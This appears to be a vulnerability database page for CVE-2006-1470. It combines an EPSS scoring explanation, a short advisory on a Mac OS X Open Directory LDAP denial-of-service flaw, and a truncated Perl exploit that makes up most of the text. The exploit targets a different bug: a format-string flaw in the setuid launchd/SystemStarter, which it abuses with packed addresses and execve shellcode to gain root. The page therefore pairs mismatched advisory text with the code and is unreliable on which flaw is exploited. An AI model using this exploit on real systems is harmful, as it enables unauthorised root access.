CVE-2006-1470 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/18728/info Mac OS X Open Directory Server is prone to a denial-of-service vulnerability because it fails to handle exceptional conditions. An attacker can exploit this issue to cause a crash in the LDAP server, effectively denying service to legitimate users. Apple has released Mac OS X version 10.4.7 to address this issue. This issue was initially discussed in BID 18686 (Apple Mac OS X Multiple Security Vulnerabilities), which has been split into individual BIDs to discuss each issue separately. #!/usr/bin/perl # http://www.digitalmunition.com/FailureToLaunch.pl # Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com # # This is a practical application of Non Executable Stack Lovin - http://www.digitalmunition.com/NonExecutableLovin.txt # # This code currently jumps into 0x1811111 via dyld_stub_close() # # This exploit will create a malicious .plist file for you to use with launchctl # k-fs-computer:~ kf$ launchctl load ./com.pwnage.plist # # In theory I guess you could also drop this in ~/Library/LaunchAgents # # This was tested against OSX 10.4.6 8l1119 on a 1.5GHz Intel Core Solo # # k-fs-computer:~ kf$ ls -al /sbin/launchd # -rwsr-sr-x 1 root wheel 161944 Feb 19 04:46 /sbin/launchd # k-fs-computer:~ kf$ file /sbin/launchd # /sbin/launchd: setuid setgid Mach-O universal binary with 2 architectures # /sbin/launchd (for architecture i386): Mach-O executable i386 # /sbin/launchd (for architecture ppc): Mach-O executable ppc # # ./src/SystemStarter.c:374: syslog(level, buf); # proactive security eh? foreach $key (keys %ENV) { delete $ENV{$key}; } $writeaddr = 0xa0011163; # close() #$writeaddr = 0xa00119f1; # cxa_finalize() (must wait 25 seconds or so if you use this one) $sc = (0x1811111); # both of these arrays are put in size order due to the multiple writes via unformatted syslog() call # seteuid after thought... whoops...I had to move some shit arround to account for this @seteuid = ([$sc+2, $sc+4, $sc, $sc+6], [0x5050, 0xb7b0, 0xc031, 0x80cd], ); # Write the following instructions to 0xa0011163 <dyld_stub_close> as well as nemos execve() to 0x1811111 # mov $0x1811111,%eax # jmp *%eax # @payload = ([$writeaddr+6, $writeaddr, $sc+12, $sc+16, $sc+28, $sc+22, $sc+26, $sc+24, $sc+10, $sc+14, $sc+18, $sc+30, $writeaddr+2, $sc+20, $sc+8, $writeaddr+4], # 0 [0x00e0, 0x11b8, 0x2f2f, 0x2f68, 0x3bb0, 0x50e3, 0x5353, 0x5454, 0x6850, 0x6873, 0x6d74, 0x80cd, 0x8111, 0x8970, 0xc031, 0xff01], ); $ENV{"TERM_PROGRAM"} = "." . # string of write address pack('l', $payload[0][0]) . pack('l', $payload[0][1]) . pack('l', $payload[0][2]) . pack('l', $payload[0][3]) . pack('l', $payload[0][4]) . pack('l', $payload[0][5]) . pack('l', $payload[0][6]) . pack('l', $payload[0][7]) . pack('l', $payload[0][8]) . pack('l', $payload[0][9]) . pack('l', $payload[0][10]) . pack('l', $payload[0][11]) . pack('l', $payload[0][12]) . pack('l', $payload[0][13]) . pack('l', $payload[0][14]) . pack('l', $payload[0][15]) . pack('l', $seteuid[0][0]) . pack('l', $seteuid[0][1]) . pack('l', $seteuid[0][2]) . pack('l', $seteuid[0][3]) ; # lazy non looped length calculations $pay1 = $payload[1][0]; $pay2 = ($payload[1][1] - $pay1 - 0x1 ); $pay3 = ($payload[1][2] - $pay1 - $pay2 - 0x1); $pay4 = ($payload[1][3] - $pay1 - $pay2 - $pay3 - 0x1); $pay5 = ($payload[1][4] - $pay1 - $pay2 - $pay3 - $pay4 - 0x1); $pay6 = ($payload[1][5] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - 0x1); $pay7 = ($payload[1][6] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 0x1); $pay8 = ($payload[1][7] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - 0x1); $pay9 = ($payload[1][8] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - 0x1); $pay10 = ($payload[1][9] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - 0x1); $pay11 = ($payload[1][10] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - 0x1); $pay12 = ($payload[1][11] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - $pay11 - 0x1); $pay13 = ($payload[1][12] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - 0x2); $pay14 = ($payload[1][13] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - 0x2); $pay15 = ($payload[1][14] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - $pay14 - 0x2); $pay16 = ($payload[1][15] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - $pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - $pay14 - $pay15 - 0x3); # seems I forgot the seteuid(0) $pay17 = 0xff + $seteuid[1][0]; $pay18 = 0xff + ($seteuid[1][1] - $pay17); $pay19 = 0xff + ($seteuid[1][2] - $pay17 - $pay18 ) ; $pay20 = 0xff + ($seteuid[1][3] - $pay17 - $pay18 - $pay19 - 0x7ec8 - 0x270) ; # Something is fucking this write up... subtracting 0x8138 seems to help # The offset is off by 6 if you are trying to debug this in gdb $format = "%." . $pay1 .
